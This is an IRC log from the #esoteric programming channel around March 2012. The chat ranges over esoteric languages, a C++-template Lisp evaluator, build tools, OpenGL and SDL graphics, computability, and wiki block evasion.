14:49:22 <NSQX> A good debugger for LOLCODE would be like the pretend conversation above, where the interpreter speaks the lol-debug information in the conversation and there is also three other lolcats named "STDIN", "STDOUT", and "STDERR".
14:50:19 <oklofok> oh dear shit that would be neat
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14:53:14 <NSQX> What about an IRC channel where your nickname can either be "LOL*" to be treated as a lolcat typing LOLCODE for the server's interpreter or "IN*" to be treated as a standard input stream?
14:53:35 <elliott> NSQX: why did you circumvent your block?
14:53:46 <monqy> wow way to change the topic elliott!!!
14:54:18 -!- asiekierka has joined.
14:55:00 <NSQX> Well, it could be something like #IRP
14:55:07 -!- NSQX has left.
14:57:44 <elliott> <NSQX> irp -c "Type the lyrics of '99 bottles of beer on the wall
14:58:00 <monqy> is it just you and him
14:58:05 <elliott> <NSQX> irp: 99 bottles of beer on the wall.
14:58:05 <elliott> <NSQX> irp: 99 bottles of beer on the wall.
14:58:05 <elliott> <NSQX> irp: Take one down and pass it around
14:58:08 <elliott> <NSQX> irp: 98 bottles of beer on the wall.
14:58:11 <elliott> monqy: no #irp is always full of people
14:58:40 <elliott> [...] <NSQX> irp -c "Kill the irp program"
14:58:44 <elliott> <NSQX> irp: No, the system failed.
14:59:08 <monqy> is nsqx actually a collective
15:00:35 <elliott> <NSQX> irp -c "Kick me from #IRP"
15:03:23 <olsner> nice, my test suite now also passes when run with a compiled version of the metacircular evaluator from SICP
15:03:53 <elliott> i'm glad olsner is having fun
15:04:30 <olsner> with a few more primitives I should be able to run the metacircular evaluator in itself too
15:04:39 <monqy> nsqx also seemed to be having fun, coincidence??????
15:04:54 <elliott> dammit, so olsner is nsqx after all
15:05:35 <olsner> I don't want to be nsqx!
15:06:46 <olsner> elliott: anyway, all I need now is a C++ compiler written in Scheme to make a neat little loop
15:07:54 <elliott> shouldn't be too difficult
15:08:35 <olsner> nah, I don't need everything in C++ either
15:10:04 <elliott> RocketJSquirrel: I'm sure porting a compiler for an unconventional 80s architecture to another, very-dissimilar language and another, very-dissimilar architecture will be trivial.
15:10:16 <elliott> That will be the easiest part.
15:10:38 <olsner> 1. take C, 2. add templates, 3. lisp compiler
15:12:12 <olsner> (btw, the compiled REPL binary is 22MB)
15:13:04 <elliott> is it still in c++ templates
15:15:14 <olsner> elliott: yes, it's a template class that takes some combination of cons<A,B> and symbol<c,o,n,s> etc, then has a member function run(env) that runs that lisp expression
15:16:29 <olsner> also a python script that reads s-expressions and outputs them as types
15:19:10 <olsner> it's quite stupid though, so almost everything ends up boxing primitive functions then unboxing them to call them
15:19:13 <olsner> and variable lookup is done at runtime with an associative list rather than doing frame layout at compile time
15:19:46 <elliott> olsner: oh, you probably can do a lot better than that
15:19:52 <elliott> olsner: with enough constexpr you can process strings with templates
15:19:58 <elliott> so you should be able to port the parser to C++ templates, fairly easily
15:20:29 <olsner> it's already c++11 anyway
16:06:19 <elliott> olsner: NOOOOOOOOOOOOOOOOOOOOOOOOO
16:10:24 <itidus21> i posit it that being a polymath is a prerequisite for discovering/inventing calculus
16:10:44 <itidus21> i couldn't be more off topic though
16:11:49 <itidus21> << says the person who doesn't know calculus, and hasn't read a single nachlass
16:18:27 <elliott> http://maps.google.com/?t=8&utm_campaign=8bit&utm_source=yt ok this is legitimately awesome
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16:25:08 <itidus21> one day wars will be fought with an rpg interface
16:26:30 <monqy> how do you know this
16:26:33 <monqy> are you from the future
16:26:43 <monqy> teach me your future ways
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16:39:35 <itidus21> its nearly same effect as time travel
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17:13:27 <elliott> "Sad But True: We Can't Prove When Super Mario Bros. Came Out"
17:14:14 -!- Frooxius has quit (Ping timeout: 245 seconds).
17:14:27 -!- Frooxius_ has changed nick to Frooxius.
17:18:57 <elliott> http://www.gamasutra.com/view/feature/167392/sad_but_true_we_cant_prove_when_.php
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17:37:52 <elliott> I noticed on page Db-g7 that there was a deletion tag. I would like to vote against this tag, as I believe it sort of violates Assume good faith. I also believe the template is very useful. These matters seem important to discuss.
17:37:52 <elliott> Walex03. Talking, working, friending. 20:06, 22 March 2012 (UTC)
17:38:04 <elliott> (db-g7 is a template containing a deletion tag to be put on other articles.)
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19:11:37 <Taneb> Also, dammit elliott!
19:19:33 <Taneb> Thus causing me to click the link.
19:20:00 <elliott> Taneb: i take it you've seen NSQX's diabolical block evasion, then
19:20:13 <Taneb> (is it bad that when you're being tricky I don't fall for it, but TWICE I've fell for unobfuscated links?)
19:20:25 <Taneb> Truly he is a master of trickery
19:20:33 <elliott> it seems he is determined to flat-out ignore me when i ask him why he did it on IRC, so i predict an unhappy ending to this saga
19:20:37 <elliott> Taneb: And yes, that's bad.
19:20:46 <Taneb> It reminds me of that time that sock puppeteer ended up on the IWC forums
19:23:36 <Taneb> I hadn't thought of an interesting story
19:24:00 <Taneb> There was just some blatant sock-puppetry to do with some unlicensed translations of Darths and Droids on a commercial website
19:24:50 <elliott> maybe he just doesn't like me
19:24:59 <elliott> i assign the job of asking him why he circumvented his block next time he comes in to... Taneb
19:25:57 <elliott> you're not meant to say yay!
19:26:16 <Taneb> I can say "Yay!" whenever I like.
19:26:49 <oklofok> i can say "yay" whenever anyone likes
19:27:22 <Taneb> elliott has a speech impediment.
19:27:39 <elliott> what an explody house this is
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19:30:10 <Taneb> Sorry, my house exploded
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20:13:43 <elliott> happy australian mailman mailing list memberships reminder day
20:17:50 -!- pikhq has quit (Ping timeout: 260 seconds).
20:28:10 <elliott> can someone explain drive-ins to me
20:29:14 <oklofok> you drive in and then you shoot everyone.
20:29:40 <oklofok> no wait sorry i always confuse those two
20:29:55 <oklofok> that's why they don't let me into the local ganster dude league anymore.
20:30:01 <oklofok> because i just keep buying them burgers
20:30:35 <elliott> no the kind where they show films
20:32:34 <elliott> http://en.wikipedia.org/wiki/Drive-in_theater
20:32:38 <oklofok> can someone explain drive-ins to me
20:32:45 -!- pikhq has joined.
20:33:17 <oklofok> i've seen those on the simpsons and stuff but i assumed they just existed in like america and other made-up countries
20:36:08 -!- hagb4rd has quit (Ping timeout: 246 seconds).
20:39:02 <elliott> well they don't exist here
20:39:49 <oklofok> finland doesn't have them, i just checked
20:40:36 <oklofok> well i checked a statistically significant portion of my house at least
20:51:38 -!- calamari has joined.
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20:56:39 <zzo38> What is #25 in "unblocked #25 (remove autoblock block evasion to fix config. issue)"?
20:56:52 <elliott> zzo38: The number of the autoblock.
20:57:00 <elliott> zzo38: Autoblock IPs are hidden (even from admins/crats) for privacy reasons.
20:57:15 <elliott> (An autoblock just means that whenever a blocked user accesses the wiki from an IP, that IP gets blocked too.)
20:57:41 <elliott> The autoblock still had the previous incorrect settings (banning talk page editing) due to the configuration issue, even though I fixed the main block, so I just removed it.
21:07:12 -!- ais523 has joined.
21:07:34 <zzo38> http://esolangs.org/w/index.php?title=Talk:Var%27aq&diff=31646&oldid=8256
21:08:18 <ais523> elliott: bleh, this is a bad time for me to sort it out
21:08:18 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
21:08:22 <ais523> but I'll look at it april 2
21:08:23 <lambdabot> elliott said 1d 5h 20m 22s ago: Please check your MemoServ messages with /msg MemoServ read new, thanks!
21:08:32 <ais523> heh, I check MemoServ messages /before/ lambdabot messages
21:08:50 <elliott> ais523: well, I don't really need you to do anything
21:09:10 <elliott> ais523: just know what's happened and let me know if you think the response needs changing
21:09:10 <elliott> this should probably go in /msg, though
21:09:27 <zzo38> In here is March 31
21:09:29 <ais523> I'll msg you when I'm ready to look at it, probably tomorrow or the day after
21:10:59 <elliott> yay an article with tables waiting to be wikitabled
21:11:53 <elliott> oh, it's in html table syntax :( never mind
21:14:04 <Sgeo> I should just check RecentChanges
21:14:10 <Sgeo> So I have an idea what you're talking about
21:15:17 <Sgeo> I have no idea what you're talking about, I don't see any table syntax
21:16:50 <Sgeo> What was the thing about waiting to be wikitabled?
21:19:52 <Sgeo> How is that waiting to be wikitabled or confused for waiting to be wikitabled? What does waiting to be wikitabled mean? I'd assume converted from blah to MediaWiki tables, but your next statements suggest not.
21:20:03 <elliott> it makse them the not uglies
21:20:04 -!- derdon has quit (Remote host closed the connection).
21:20:09 <elliott> but then they looked weird without ths
21:20:15 <elliott> but i didnt want to add ths because theyre in html syntax
21:21:59 -!- MSleep has joined.
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21:45:11 -!- monqy has joined.
21:49:44 * pikhq notes that OpenGL sucks
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22:12:54 <ais523> hey, and it's far from finished or polished yet, but it works: https://gitorious.org/nitrohack/ais523/blobs/raw/7b5711e6232fbb0949452555a3db6b33bd585824/aimake
22:12:58 <ais523> aimake is no longer vaporware!
22:13:10 <pikhq> ais523: The API is really poorly designed.
22:13:11 <ais523> I'm not sure if it counts as eso or not
22:13:57 <ais523> pikhq: which OpenGL API?
22:13:57 -!- MSleep has changed nick to MDude.
22:14:07 <ais523> the old outdated functions you aren't meant to use any more, or the VBO-and-shader stuff?
22:14:51 <elliott> ah, another unreadable multi-thousand-line ais source fil
22:14:53 <pikhq> Whatever the fuck I'm using.
22:15:03 <elliott> also one that inexplicably breaks vim's syntax highlighting
22:15:06 <ais523> elliott: it's a single file for a reason
22:15:13 <elliott> ais523: you say that every time
22:15:24 <ais523> and I've been editing it in Kate, which is the only program I've found that's capable of actually handling the syntax highlighting
22:15:30 <pikhq> The one where it's 30 lines of code to just draw a single surface with a texture on it.
22:15:31 <ais523> and even then, I had to go back to 5.78 syntax
22:15:35 <ais523> I wasn't even trying to be awkward!
22:15:58 <ais523> pikhq: if you're drawing one surface at a time, you're doing it wrong (because GPUs can't do that efficiently)
22:16:08 <pikhq> ais523: I'm only drawing one surface.
22:16:27 <ais523> then possibly OpenGL is the wrong thing to be using
22:16:53 <elliott> ais523: your advice is helpful like my advice is
22:16:56 <pikhq> It is the only well-supported way of drawing 2D graphics with vsync on X.
22:17:01 <pikhq> Literally the only one.
22:17:25 <elliott> pikhq: What about that Xv thing?
22:17:30 <pikhq> elliott: "Well-supported".
22:17:46 <elliott> where is xv not supported?
22:17:56 <pikhq> elliott: Xv varies from perfectly reasonable *if* you're in YUV, or completely borken, depending on your driver.
22:18:16 <elliott> "About 600 deaths have occurred in the Grand Canyon since the 1870s." whoa, that's all?
22:18:50 <pikhq> The proprietary Radeon drivers, for instance, don't do vsync, and convert from YUV to RGB wrong.
22:19:22 <pikhq> (Xv only really works on YUV colorspace framebuffers; it's theoretically capable of handling RGB, but most drivers don't support this)
22:19:29 <Sgeo> http://www.reddit.com/r/programming/comments/782mt/numbers_that_cannot_be_computed_by_a_program/c05xjqb
22:19:32 <elliott> what 2d thing are you drawing anyway
22:19:42 <elliott> Sgeo: will i regret clicking that link?
22:19:45 <pikhq> I'm just drawing a 320x240 framebuffer out of a VM.
22:19:54 <ais523> elliott: I'll check it for you
22:20:07 <pikhq> And it will tear unless I use OpenGL.
22:20:14 <elliott> ais523: thanks, I'll click it then
22:20:26 <Sgeo> elliott, do you regret arguments that involve someone incredibly thick?
22:20:29 <elliott> that way, I can blame Sgeo
22:21:07 <elliott> Sgeo: well, you see, when i want stupidity i go to, e.g. reddit and click the comment links
22:21:09 <oklopol> []andreasvc 0 points 3 years ago
22:21:09 <oklopol> The integers are not all computable. What you say amounts to offering a haystack when someone asks for a needle. A number is computable if there can be a finite program which can calculate the nth digit of that number, given n. This doesn't go for the busy beaver numbers, since the halting problem is undecidable.
22:21:18 <elliott> #esoteric links i generally click in the hopes that they're not stupid
22:21:25 <elliott> i would be totally disappointed if i found intelligent discussion on reddit
22:21:36 <oklopol> why are these people allowed on my internet
22:21:45 <ais523> elliott: so opinion on aimake?
22:21:49 <ais523> apart from the coding style?
22:21:51 <pikhq> oklopol: But... That... Gah
22:21:55 <ais523> Kate's autoindentor is a little broken
22:22:00 <ais523> and its block collapser is worse
22:22:07 <elliott> ais523: there's no way i'm going to read it, but i might throw it at some C programs to prove how useless it is
22:22:18 <ais523> note: after editing aimake in Kate for a few hours, the cursor starts going backwards
22:22:21 <ais523> and I haven't found a fix for this
22:22:24 <oklofok> the fucking busy beaver numbers
22:22:41 <MDude> I think SDL might be pretty well supported, but from what I've read, I'm not sure if it's that great, since it doesn't have functions for pushing individual pixels.
22:22:41 <ais523> (i.e. typing a letter puts the cursor before the letter, backspace still deletes leftwards, left and right don't really do anything sensible)
22:22:50 <elliott> "It is trivial to write a program that computes 6 to the nth digit." "No, there's not even an algorithm for it. If you come up with one you would have solved the halting problem."
22:22:54 <pikhq> MDude: Because X sucks.
22:23:04 <MDude> And also a lot of things I look up relating to it presume you want to use it with SDL.
22:23:05 <elliott> MDude: it has pointers for pushing individual pixels
22:23:18 <ais523> elliott: I don't see how you can figure out the nth digit of 6 without knowing what n is
22:23:21 <ais523> unless you have multiple attempts
22:23:22 <elliott> pushing individual picturse is terrible, though
22:23:54 -!- augur has quit (Remote host closed the connection).
22:23:55 <elliott> picturse, pixels, what's the difference
22:24:14 <oklofok> i fucking hate this andreasvc guy
22:24:55 <MDude> That's true, I guess it's more that the tutorial I was reading is about 2D stuff, and then alter I remembered I wanted ot make a 3D thing.
22:25:11 <elliott> SDL is useful as a windowing/input library though
22:25:15 <elliott> you can use it with opengl
22:25:26 <pikhq> They suck, but it functions.
22:25:33 <elliott> pikhq: you didn't answer my q tho :'(
22:25:37 <zzo38> I happen to like SDL
22:25:50 <pikhq> zzo38: Never done audio in it I see. :)
22:25:57 <zzo38> I have done audio in SDL.
22:26:09 <pikhq> Then you are a masochist.
22:26:46 <pikhq> It's harder and less capable than OSS. Therefore it sucks.
22:26:48 <elliott> pikhq: oh i didn't ask it i guess
22:26:52 <elliott> i was asking what 2d thing you are drawing
22:27:07 <pikhq> 16:19 < pikhq> I'm just drawing a 320x240 framebuffer out of a VM.
22:27:19 <elliott> Sgeo: why the fuck are you reading 3-year-old discussions on reddit
22:27:25 <elliott> i only just now noticed those timestamps
22:27:58 <pikhq> https://github.com/pikhq/cmako
22:28:01 <lambdabot> Local time for elliott is Sat Mar 31 23:27:59
22:28:12 <zzo38> Here is a program using SDL with audio: http://zzo38computer.cjb.net/prog/BytePusher/BytePusher.w I happen to like the way audio is done in SDL, even if you dislike it.
22:28:13 <oklofok> elliott: andreasvc's crime will never expire.
22:28:14 <elliott> good, i can still be annoyed at april fools jokes being premature for another 33 minutes
22:28:17 <pikhq> An implementation of https://github.com/JohnEarnest/Mako
22:28:48 <elliott> thanks for the opportunity
22:29:31 <Sgeo> elliott, the article was linked on Fark, and the article linked to the discussion
22:29:41 <Sgeo> http://www.fark.com/comments/7025689/ConsoleWrite0-while-true-ConsoleWrite142857
22:29:42 <elliott> ah, another ill of the world i can blame on fark
22:31:06 <elliott> ais523: have you seen Google Maps' april 1st thing? it's very good
22:31:08 <zzo38> The other two implementations of BytePusher are using Allegro, which many people prefer.
22:32:01 <ais523> I probably won't look at it, but will probably read the coverage of it in the news afterwards
22:32:21 <oklofok> always living on the edge, eh
22:33:04 <Sgeo> I'm confused. Can any real number be described by an infinite number of digits?
22:33:22 * Sgeo thinks a bit more
22:33:54 <elliott> no, some of them have infinity plus one
22:33:57 <zzo38> I would think it can be
22:34:28 <ais523> Sgeo: yes, cardinalities of the reals and of infinite strings of elements drawn from a finite alphabet are both aleph-one
22:35:21 <Sgeo> Is my third comment http://www.fark.com/comments/7025689/ConsoleWrite0-while-true-ConsoleWrite142857 correct?
22:35:32 <Sgeo> "I think I got it. There exist numbers which cannot be fit into any finite representation, no matter how many (finite number) of bits are in the representation."
22:36:05 <Sgeo> I was incompetently replying to someone
22:36:09 <monqy> I'm not going to bother clicking
22:36:12 <elliott> wait did Sgeo not know the reals were uncountable before today
22:36:25 <elliott> as oklofok would say, even i know that
22:36:39 <Sgeo> elliott, I brainfarted on whether reals could be described with an infinite number of digits
22:37:08 <ais523> elliott: they're exactly uncountable, they're no more than uncountable
22:37:23 <ais523> actually that's undecidable
22:37:42 <Sgeo> I just noted who wrote the article in the first place.
22:37:45 <Sgeo> The Robozzle guy!
22:37:51 -!- Nisstyre has quit (Read error: Connection reset by peer).
22:37:51 <elliott> Sgeo: i meant "There exist numbers which cannot be fit into any finite representation, no matter how many (finite number) of bits are in the representation.""
22:38:01 <elliott> aka "the reals aren't countable"
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22:45:09 <ais523> $ find . -name '*.aimk' -or -name 'aimake.config' | xargs wc -l | xargs echo
22:45:10 <ais523> 3 ./executables.aimk 55 ./aimake.config 7 ./libnethack/util/makedefs.aimk 20 ./libnethack/dat/datafiles.aimk 85 total
22:45:23 <ais523> and most of them are newlines to make it more readable, or comments
22:45:40 <ais523> $ find . -name 'CMakeLists.txt' | xargs wc -l | xargs echo
22:45:41 <ais523> 50 ./nethack_server/CMakeLists.txt 106 ./nethack/CMakeLists.txt 70 ./CMakeLists.txt 34 ./libnethack_client/CMakeLists.txt 18 ./libnethack/CMakeLists.txt 111 ./libnethack/util/CMakeLists.txt 45 ./libnethack/src/CMakeLists.txt 118 ./libnethack/dat/CMakeLists.txt 552 total
22:46:45 <elliott> ais523: Those CMakeLists files won't stop working when aimake changes its heuristics.
22:47:40 <ais523> I /think/ I fixed that now :)
22:48:07 <ais523> (before the success or fail of a build sometimes depended on hashtable ordering)
22:48:19 <ais523> (still does if you have an exact tie, but you can disambig in the config file now)
22:49:46 -!- Nisstyre has quit (Quit: Leaving).
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22:54:18 <elliott> I think "ugh" adequately summarises my feelings.
22:56:46 <elliott> http://www.reddit.com/r/haskell/comments/rmw1d/sometimes_it_is_hard/
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23:12:23 <monqy> im, not going to read that
23:17:53 -!- nortti has quit (Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651]).
23:19:53 <monqy> im, not going to read that
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23:23:12 <elliott> Ohhhh, mk is that guy who just wanted to learn monads, not Haskell.
23:23:15 <lambdabot> Phantom_Hoover: You have 10 new messages. '/msg lambdabot @messages' to read them.
23:23:17 <elliott> That explains why he's stupid.
23:23:21 <elliott> Phantom_Hoover: ONE MESSAGE PER MINUTE
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23:27:07 <ais523> elliott: they are useful in other languages sometimes…
23:27:21 <elliott> ais523: You had to be there, man.
23:27:28 <elliott> ais523: Also, that doesn't mean you should ask #haskell about it.
23:28:13 <elliott> Then I won't call you stupid in #esoteric.
23:28:21 <elliott> RocketJSquirrel: About that robots.txt...
23:29:19 <ais523> elliott: wow, I think I can scam that statement, you forgot to put a time limitation on it
23:29:29 <RocketJSquirrel> elliott: Right now if I search for 'elliott esoteric haskell' on Google, the logs aren't in the first page.
23:29:55 <ais523> meh, I will search for them with locate
23:30:27 <elliott> RocketJSquirrel: I'll just start up my blog, Esoteric Haskell with Elliott Hird.
23:30:29 <ais523> gah, /far/ too many results
23:30:41 <ais523> it interpreted it as an or
23:30:52 <ais523> and so many things on my computer are named esoteric, haskell, or elliott somewhere in their path
23:31:11 <ais523> $ locate "elliott esoteric haskell"
23:31:40 <elliott> <ais523> and so many things on my computer are named esoteric, haskell, or elliott somewhere in their path
23:31:52 <ais523> mostly the other two, it turns out
23:31:57 <ais523> there's a /home/ais523/annoy-ehird
23:32:02 <ais523> I forget what it contains nowadays
23:32:08 <ais523> and don't really want to look, as it'd be less funny if I found out
23:32:12 <ais523> but that's "ehird", not "elliott"
23:32:19 * elliott wants to know what's in it now.
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23:34:46 <shachaf> Phantom_Hoover: North America.
23:40:03 -!- augur has joined.
23:40:05 <elliott> Phantom_Hoover: i would install that though?
23:40:18 <elliott> I mean, it'd be better than adblock.
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23:59:46 <ais523> bleh, there's no command to reorder virtual desktops in gnome 2 + compiz, is there?
23:59:51 <ais523> I have them in the wrong order